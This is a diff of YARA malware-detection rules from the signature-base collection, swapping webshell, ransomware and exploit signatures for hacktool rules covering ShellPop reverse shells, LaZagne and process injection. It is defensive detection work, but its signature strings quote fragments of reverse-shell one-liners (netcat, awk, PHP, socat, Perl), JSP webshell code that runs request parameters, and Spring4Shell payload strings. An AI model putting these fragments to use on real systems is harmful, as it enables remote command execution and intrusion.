+		logic_hash = "684e901eebf47e2bd8b25fd302963c2761376ce4754d74f9e6f1eb3024c89144"
+		score = 40
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "371f104b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a"
 
 	strings:
-		$a1 = "546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f6465" ascii
-		$a2 = "4b45524e454c33322e646c6c" ascii
-		$a3 = "433a5c66616b65706174685c" ascii
-		$m3 = "4d5a40000100000006000000ffff"
-		$m2 = "4d5a50000200000004000f00ffff"
-		$m1 = "4d5a90000300000004000000ffff"
+		$fp1 = "Assmann Electronic GmbH" ascii wide
+		$fp2 = "Oculus VR" ascii wide
+		$fp3 = "efm8load" ascii
 
 	condition:
-		uint32be(0)==0x7B5C7274 and 1 of them
+		uint16(0)==0x5a4d and filesize <10000KB and pe.imphash()=="ed61beebc8d019dd9bec823e2d694afd" and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_WEBSHELL_JSP_Nov21_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Unknown_Pwdumper_Apr18_3 : FILE
 {
 	meta:
-		description = "Detects JSP webshells"
+		description = "Detects sample from unknown sample set - IL origin"
 		author = "Florian Roth (Nextron Systems)"
-		id = "117eed28-c44e-5983-b4c7-b555fc06d923"
-		date = "2021-11-23"
+		id = "2431d562-dcd8-5d21-8406-7d2567b6eca9"
+		date = "2018-04-06"
 		modified = "2023-12-05"
-		reference = "https://www.ic3.gov/Media/News/2021/211117-2.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_spring4shell.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1dac7706421961c71ba6f8d7a223b80e4b77bf206bfb64ee18c7cc894b062a3c"
-		score = 70
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4177-L4196"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bf0dff02bdfa239336b2bc865f2a9aed6d20cafb059caa87a60aa30269dd94b5"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d435e7b6f040a186efeadb87dd6d9a14e038921dc8b8658026a90ae94b4c8b05"
+		hash2 = "8c35c71838f34f7f7a40bf06e1d2e14d58d9106e6d4e6f6e9af732511a126276"
 
 	strings:
-		$x1 = "request.getParameter(\"pwd\")" ascii
-		$x2 = "excuteCmd(request.getParameter(" ascii
-		$x3 = "getRuntime().exec (request.getParameter(" ascii
-		$x4 = "private static final String PW = \"whoami\"" ascii
+		$s1 = "loaderx86.dll" fullword ascii
+		$s2 = "tcpsvcs.exe" fullword wide
+		$s3 = "%Program Files, Common FOLDER%" fullword wide
+		$s4 = "%AllUsers, ApplicationData FOLDER%" fullword wide
+		$s5 = "loaderx86" fullword ascii
+		$s6 = "TNtDllHook$" fullword ascii
 
 	condition:
-		filesize <400KB and 1 of them
+		uint16(0)==0x5a4d and filesize <3000KB and all of them
 }
-rule SIGNATURE_BASE_EXPL_POC_Springcore_0Day_Indicators_Mar22_1
+import "pe"
+
+rule SIGNATURE_BASE_Processinjector_Gen : HIGHVOL FILE
 {
 	meta:
-		description = "Detects indicators found after SpringCore exploitation attempts and in the POC script"
+		description = "Detects a process injection utility that can be used ofr good and bad purposes"
 		author = "Florian Roth (Nextron Systems)"
-		id = "297e4b57-f831-56e0-a391-1ffbc9a4d438"
-		date = "2022-03-30"
+		id = "9b0b6ac7-8432-5f93-b389-c2356ec75113"
+		date = "2018-04-23"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/vxunderground/status/1509170582469943303"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_spring4shell.yar#L19-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "39fb62ec7953dae0a88e39e73e3ff286fc19cb8f21f8feb869a1875f6ba70cfb"
-		score = 70
+		reference = "https://github.com/cuckoosandbox/monitor/blob/master/bin/inject.c"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4198-L4219"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "90d200e79c97911b105e592549bc2c04fb09ce841413c30117d421b45bb9988c"
+		score = 60
 		quality = 85
-		tags = ""
+		tags = "HIGHVOL, FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "456c1c25313ce2e2eedf24fdcd4d37048bcfff193f6848053cbb3b5e82cd527d"
 
 	strings:
-		$x1 = "java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di"
-		$x2 = "?pwd=j&cmd=whoami"
-		$x3 = ".getParameter(%22pwd%22)"
-		$x4 = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7B"
+		$x1 = "Error injecting remote thread in process:" fullword ascii
+		$s5 = "[-] Error getting access to process: %ld!" fullword ascii
+		$s6 = "--process-name <name>  Process name to inject" fullword ascii
+		$s12 = "No injection target has been provided!" fullword ascii
+		$s17 = "[-] An app path is required when not injecting!" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <50KB and (pe.imphash()=="d27e0fa013d7ae41be12aaf221e41f9b" or 1 of them ) or 3 of them
 }
-rule SIGNATURE_BASE_EXPL_POC_Springcore_0Day_Webshell_Mar22_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Lazagne_PW_Dumper
 {
 	meta:
-		description = "Detects webshell found after SpringCore exploitation attempts POC script"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e7047c98-3c60-5211-9ad5-2bfdfb35d493"
-		date = "2022-03-30"
+		description = "Detects Lazagne PW Dumper"
+		author = "Markus Neis / Florian Roth"
+		id = "1904029e-9336-5278-ae2e-4bc853316600"
+		date = "2018-03-22"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/vxunderground/status/1509170582469943303"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_spring4shell.yar#L36-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "17282b66899356a6051f0b47a7a3f02265737283d760f2256e03a2b934bb63b8"
+		reference = "https://github.com/AlessandroZ/LaZagne/releases/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4221-L4235"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2eac81d5cecdaca7eeaa83be70a688a595f8bbf54679ee565ba325b9e384552b"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$x1 = ".getInputStream(); int a = -1; byte[] b = new byte[2048];"
-		$x2 = "if(\"j\".equals(request.getParameter(\"pwd\")"
-		$x3 = ".getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();"
+		$s1 = "Crypto.Hash" fullword ascii
+		$s2 = "laZagne" fullword ascii
+		$s3 = "impacket.winregistry" fullword ascii
 
 	condition:
-		filesize <200KB and 1 of them
+		3 of them
 }
-rule SIGNATURE_BASE_Hermes2_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Shellpop_Tclsh : FILE
 {
 	meta:
-		description = "Detects Hermes Ransomware as used in BAE report on FEIB"
-		author = "BAE"
-		id = "13397a43-04e1-5cc1-9260-9895736013f3"
-		date = "2017-10-11"
+		description = "Detects suspicious TCLsh popshell"
+		author = "Tobias Michalski"
+		id = "24f6b626-383e-54c9-abd4-bd67c37af937"
+		date = "2018-05-18"
 		modified = "2023-12-05"
-		reference = "https://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_hermes_ransom.yar#L1-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b27881f59c8d8cc529fa80a58709db36"
-		logic_hash = "85a7b3ec89f2bf32e5520a7c5c84661383be71abd8dae3d072d75d5b1118db24"
-		score = 75
+		reference = "https://github.com/0x00-0x00/ShellPop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4237-L4249"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "622805e8067f5158d82783971dcf31e8db05f1d52a38bd1ec3e76ddbbd78032b"
+		score = 65
 		quality = 85
 		tags = "FILE"
+		hash1 = "9f49d76d70d14bbe639a3c16763d3b4bee92c622ecb1c351cb4ea4371561e133"
 
 	strings:
-		$s1 = "SYSTEM\\CurrentControlSet\\Control\\Nls\\Language\\"
-		$s2 = "0419"
-		$s3 = "0422"
-		$s4 = "0423"
-		$S1 = "HERMES"
-		$S2 = "vssadminn"
-		$S3 = "finish work"
-		$S4 = "testlib.dll"
-		$S5 = "shadowstorageiet"
-		$u1 = "ALKnvfoi4tbmiom3t40iomfr0i3t4jmvri3tb4mvi3btv3rgt4t777"
-		$u2 = "HERMES 2.1 TEST BUILD, press ok"
-		$u3 = "hnKwtMcOadHwnXutKHqPvpgfysFXfAFTcaDHNdCnktA"
+		$s1 = "{ puts -nonewline $s \"shell>\";flush $s;gets $s c;set e \"exec $c\";if" ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of ($s*) and 3 of ($S*) and 1 of ($u*)
+		filesize <1KB and 1 of them
 }
-rule SIGNATURE_BASE_MAL_Prolock_Malware : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Shellpop_Ruby : FILE
 {
 	meta:
-		description = "Detects Prolock malware in encrypted and decrypted mode"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "269bf0c5-8315-5405-8e44-e2cc5507a36a"
-		date = "2020-05-17"
+		description = "Detects suspicious ruby shellpop"
+		author = "Tobias Michalski"
+		id = "cb3a93d5-02a1-5a49-b37e-3f9312b993ea"
+		date = "2018-05-18"
 		modified = "2023-12-05"
-		reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Prolock.Malware.yar"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ransom_prolock.yar#L1-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "da8a0ec683475019daddd4acdd00d4c36eedacad3deef2be4220b86cbf5f9df0"
-		score = 75
+		reference = "https://github.com/0x00-0x00/ShellPop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4251-L4263"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aa076540ef01d04117d3340f4d84c21f79acfc558ed4aa585d801b6a6bc797a2"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
-		hash2 = "dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178"
+		hash1 = "6b425b37f3520fd8c778928cc160134a293db0ce6d691e56a27894354b04f783"
 
 	strings:
-		$DecryptionRoutine = {01 C2 31 DB B8 ?? ?? ?? ?? 31 04 1A 81 3C 1A}
-		$DecryptedString1 = "support981723721@protonmail.com" nocase ascii
-		$DecryptedString2 = "Your files have been encrypted by ProLock Ransomware" nocase ascii
-		$DecryptedString3 = "msaoyrayohnp32tcgwcanhjouetb5k54aekgnwg7dcvtgtecpumrxpqd.onion" nocase ascii
-		$CryptoCode = {B8 63 51 E1 B7 31 D2 8D BE ?? ?? ?? ?? B9 63 51 E1 B7 81 C1 B9 79 37 9E}
+		$x1 = ");while(cmd=c.gets);IO.popen(cmd,'r'){" ascii
 
 	condition:
-		(( uint16(0)==0x5A4D) or ( uint16(0)==0x4D42)) and filesize <100KB and (($DecryptionRoutine) or (1 of ($DecryptedString*) and $CryptoCode))
+		filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_EXPL_Gitlab_CE_RCE_CVE_2021_22205 : CVE_2021_22205
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Shellpop_Awk : FILE
 {
 	meta:
-		description = "Detects signs of exploitation of GitLab CE CVE-2021-22205"
-		author = "Florian Roth (Nextron Systems)"
-		id = "21cc6fa7-e50d-5b8e-815d-27315ab5635d"
-		date = "2021-10-26"
+		description = "Detects suspicious AWK Shellpop"
+		author = "Tobias Michalski"
+		id = "92d1e6dd-d758-5df2-b5e5-eb275964551d"
+		date = "2018-05-18"
 		modified = "2023-12-05"
-		reference = "https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_gitlab_cve_2021_22205.yar#L2-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "54b841716a6bd56706c1c38fcda9a27ffd7feba2660602b191e8e347983e578d"
-		score = 70
+		reference = "https://github.com/0x00-0x00/ShellPop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4265-L4278"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7d676ffbd1ce083a1b8e34576125fb0805caef4423089cd72a92483467669b78"
+		score = 65
 		quality = 85
-		tags = "CVE-2021-22205"
+		tags = "FILE"
+		hash1 = "7513a0a0ba786b0e22a9a7413491b4011f60af11253c596fa6857fb92a6736fc"
 
 	strings:
-		$sa1 = "VXNlci5maW5kX2J5KHVzZXJuYW1l" ascii
-		$sa2 = "VzZXIuZmluZF9ieSh1c2VybmFtZ" ascii
-		$sa3 = "Vc2VyLmZpbmRfYnkodXNlcm5hbW" ascii
-		$sb1 = "dXNlci5hZG1pb" ascii
-		$sb2 = "VzZXIuYWRtaW" ascii
-		$sb3 = "1c2VyLmFkbWlu" ascii
-		$sc1 = "dXNlci5zYXZlI" ascii
-		$sc2 = "VzZXIuc2F2ZS" ascii
-		$sc3 = "1c2VyLnNhdmUh" ascii
+		$s1 = "awk 'BEGIN {s = \"/inet/tcp/0/" ascii
+		$s2 = "; while(42) " ascii
 
 	condition:
-		1 of ($sa*) and 1 of ($sb*) and 1 of ($sc*)
+		filesize <1KB and 1 of them
 }
-rule SIGNATURE_BASE_EXPL_Gitlab_CE_RCE_Malformed_JPG_CVE_2021_22204 : CVE_2021_22204 CVE_2021_22205 FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Shellpop_Netcat_UDP : FILE
 {
 	meta:
-		description = "Detects malformed JPG files exploting EXIF vulnerability CVE-2021-22204 and used in the exploitation of GitLab vulnerability CVE-2021-22205"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3d769340-0306-596d-8783-2b37b93a5673"
-		date = "2021-10-26"
+		description = "Detects suspicious netcat popshell"
+		author = "Tobias Michalski"
+		id = "67aa53b6-00bc-5d2e-b6f3-37e9121cdd01"
+		date = "2018-05-18"
 		modified = "2023-12-05"
-		reference = "https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis?referrer=blog"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_gitlab_cve_2021_22205.yar#L29-L44"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0718ad24337acbb746c6e0d7e0b42d2d034ff583ec6fd12b34fda4737d7e78b0"
-		score = 70
-		quality = 83
-		tags = "CVE-2021-22204, CVE-2021-22205, FILE"
+		reference = "https://github.com/0x00-0x00/ShellPop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4280-L4293"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0c85b1275ccf5bbc7f6e0ab0f1fa9d1bce7d56912411f84f9946163191c79576"
+		score = 65
+		quality = 85
+		tags = "FILE"
+		hash1 = "d823ad91b315c25893ce8627af285bcf4e161f9bbf7c070ee2565545084e88be"
 
 	strings:
-		$h1 = { 41 54 26 54 46 4F 52 4D }
-		$sr1 = /\(metadata[\s]{0,3}\([A-Za-z]{1,20} "\\/
+		$s1 = "mkfifo fifo ; nc.traditional -u" ascii
+		$s2 = "< fifo | { bash -i; } > fifo" fullword ascii
 
 	condition:
-		filesize <10KB and $h1 and $sr1
+		filesize <1KB and 1 of them
 }
-rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Local_URL : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Shellpop_Socat : FILE
 {
 	meta:
-		description = "Detects local script usage for .URL persistence"
-		author = "@itsreallynick (Nick Carr), @QW5kcmV3 (Andrew Thompson)"
-		id = "438d9323-cb6a-5f5d-af71-76692b93436a"
-		date = "2019-09-27"
+		description = "Detects suspicious socat popshell"
+		author = "Tobias Michalski"
+		id = "23c331ba-217c-5b17-b45e-d553eea76a56"
+		date = "2018-05-18"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cglyer/status/1176184798248919044"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_url_persitence.yar#L2-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e95e5e97760d9b565184c588fdafe8408cdab61959aee5221485df53ef5f51d6"
-		score = 50
+		reference = "https://github.com/0x00-0x00/ShellPop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4295-L4308"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "48c06096b27be11ae12cc38294acb495b739101cabc04e89eb76e93fb42c52df"
+		score = 65
 		quality = 85
 		tags = "FILE"
+		hash1 = "267f69858a5490efb236628260b275ad4bbfeebf4a83fab8776e333ca706a6a0"
 
 	strings:
-		$file = "URL=file:///" nocase
-		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
-		$url_explicit = "[InternetShortcut]" nocase
+		$s1 = "socat tcp-connect" ascii
+		$s2 = ",pty,stderr,setsid,sigint,sane" ascii
 
 	condition:
-		$file and any of ($url*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
+		filesize <1KB and 2 of them
 }
-rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_SMB_URL : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Shellpop_Perl : FILE
 {
 	meta:
-		description = "Detects remote SMB path for .URL persistence"
-		author = "@itsreallynick (Nick Carr), @QW5kcmV3 (Andrew Thompson)"
-		id = "e23609a1-9b18-5a56-92ee-c7f84c966865"
-		date = "2019-09-27"
+		description = "Detects Shellpop Perl script"
+		author = "Tobias Michalski"
+		id = "d597d213-a70b-5412-adde-791b4d498848"
+		date = "2018-05-18"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cglyer/status/1176184798248919044"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_url_persitence.yar#L21-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e0bef7497fcb284edb0c65b59d511830"
-		logic_hash = "4903c8f4bb08e799f6787ad29cf7688f354f97a065bcd24c58d3ccd3778a6a15"
-		score = 50
+		reference = "https://github.com/0x00-0x00/ShellPop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4310-L4323"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8f3c5920acdc080b437c15b93e192a00a5037be0323cc04473e238033b7d53ec"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "32c3e287969398a070adaad9b819ee9228174c9cb318d230331d33cda51314eb"
 
 	strings:
-		$file = /URL=file:\/\/[a-z0-9]/ nocase
-		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
-		$url_explicit = "[InternetShortcut]" nocase
+		$ = "perl -e 'use IO::Socket::INET;$|=1;my ($s,$r);" ascii
+		$ = ";STDIN->fdopen(\\$c,r);$~->fdopen(\\$c,w);s" ascii
 
 	condition:
-		$file and any of ($url*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
+		filesize <2KB and 1 of them
 }
-rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Iconremote_Smborlocal : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Shellpop_Python : FILE
 {
 	meta:
-		description = "This is the syntax used for NTLM hash stealing via Responder - https://www.securify.nl/nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html"
-		author = "@itsreallynick (Nick Carr)"
-		id = "9362ce46-265c-5215-bee1-3d784d0cb928"
-		date = "2019-09-27"
+		description = "Detects malicious python shell"
+		author = "Tobias Michalski"
+		id = "62fe0ae9-422e-5021-8a67-e88ff4bd2cf3"
+		date = "2018-05-18"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/ItsReallyNick/status/1176241449148588032"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_url_persitence.yar#L61-L78"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8c49908c7f52ebcd512ff2dc8c40392767769130b9d39abb9d5fc9e130edb65c"
-		score = 50
+		reference = "https://github.com/0x00-0x00/ShellPop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4325-L4337"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e4c35bb739eeabf0de558ee1b97225ed4eb3198e7e6db1817348115b848146c7"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "aee1c9e45a1edb5e462522e266256f68313e2ff5956a55f0a84f33bc6baa980b"
 
 	strings:
-		$icon = "IconFile=file://" nocase
-		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
-		$url_explicit = "[InternetShortcut]" nocase
+		$ = "os.putenv('HISTFILE', '/dev/null');" ascii
 
 	condition:
-		$icon and any of ($url*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
+		filesize <2KB and 1 of them
 }
-rule SIGNATURE_BASE_Methodology_Shortcut_Hotkey : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Shellpop_PHP_TCP : FILE
 {
 	meta:
-		description = "Detects possible shortcut usage for .URL persistence"
-		author = "@itsreallynick (Nick Carr)"
-		id = "0ce377c4-db9b-59fa-987b-a77eaf408765"
-		date = "2019-09-27"
+		description = "Detects malicious PHP shell"
+		author = "Tobias Michalski"
+		id = "3bafc225-62e5-5183-84aa-9c3406b6c444"
+		date = "2018-05-18"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cglyer/status/1176184798248919044"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_url_persitence.yar#L80-L97"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a48f7c1125218ee89f58f1517e81150038a5d71889d847e7690b13c818b32fb5"
-		score = 50
-		quality = 35
+		reference = "https://github.com/0x00-0x00/ShellPop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4339-L4352"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8ffab71130b4fa6efbe9864f97c33fed9359f79d51b84e8f952c911f24d1496c"
+		score = 75
+		quality = 85
 		tags = "FILE"
+		hash1 = "0412e1ab9c672abecb3979a401f67d35a4a830c65f34bdee3f87e87d060f0290"
 
 	strings:
-		$hotkey = /[\x0a\x0d]HotKey=[1-9]/ nocase
-		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
-		$url_explicit = "[InternetShortcut]" nocase
+		$x1 = "php -r \"\\$sock=fsockopen" ascii
+		$x2 = ";exec('/bin/sh -i <&3 >&3 2>&3');\"" ascii
 
 	condition:
-		$hotkey and any of ($url*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
+		filesize <3KB and all of them
 }
-rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Baseurlsyntax : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_Shellpop_Powershell_TCP : FILE
 {
 	meta:
-		description = "Detects possible shortcut usage for .URL persistence"
-		author = "@itsreallynick (Nick Carr)"
-		id = "cab7b573-d197-5afc-95a9-ef05a07c2b7a"
-		date = "2019-09-27"
+		description = "Detects malicious powershell"
+		author = "Tobias Michalski"
+		id = "4f3a92db-f686-559a-9588-fb79f423c51f"
+		date = "2018-05-18"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/cglyer/status/1176184798248919044"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_url_persitence.yar#L99-L117"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4aa29bedb5689fe16c067f5ea933e56804085712c7469b138d8b658a30a7eb67"
-		score = 50
+		reference = "https://github.com/0x00-0x00/ShellPop"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L4354-L4367"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8eb484ba87fa2e10af3c59445ccb4be73db2f5ae67c59118a2e188ba02fdc957"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "8328806700696ffe8cc37a0b81a67a6e9c86bb416364805b8aceaee5db17333f"
 
 	strings:
-		$baseurl1 = "BASEURL=file://" nocase
-		$baseurl2 = "[DEFAULT]" nocase
-		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
-		$url_explicit = "[InternetShortcut]" nocase
+		$ = "Something went wrong with execution of command on the target" ascii
+		$ = ";[byte[]]$bytes = 0..65535|%{0};$sendbytes =" ascii
 
 	condition:
-		all of ($baseurl*) and any of ($url*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
+		filesize <3KB and 1 of them
 }
-rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Iconnotfromexeordllorico : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_Powershell_Shellcommand_May18_1 : FILE
 {
 	meta:
-		description = "Detects possible shortcut usage for .URL persistence"
-		author = "@itsreallynick (Nick Carr)"
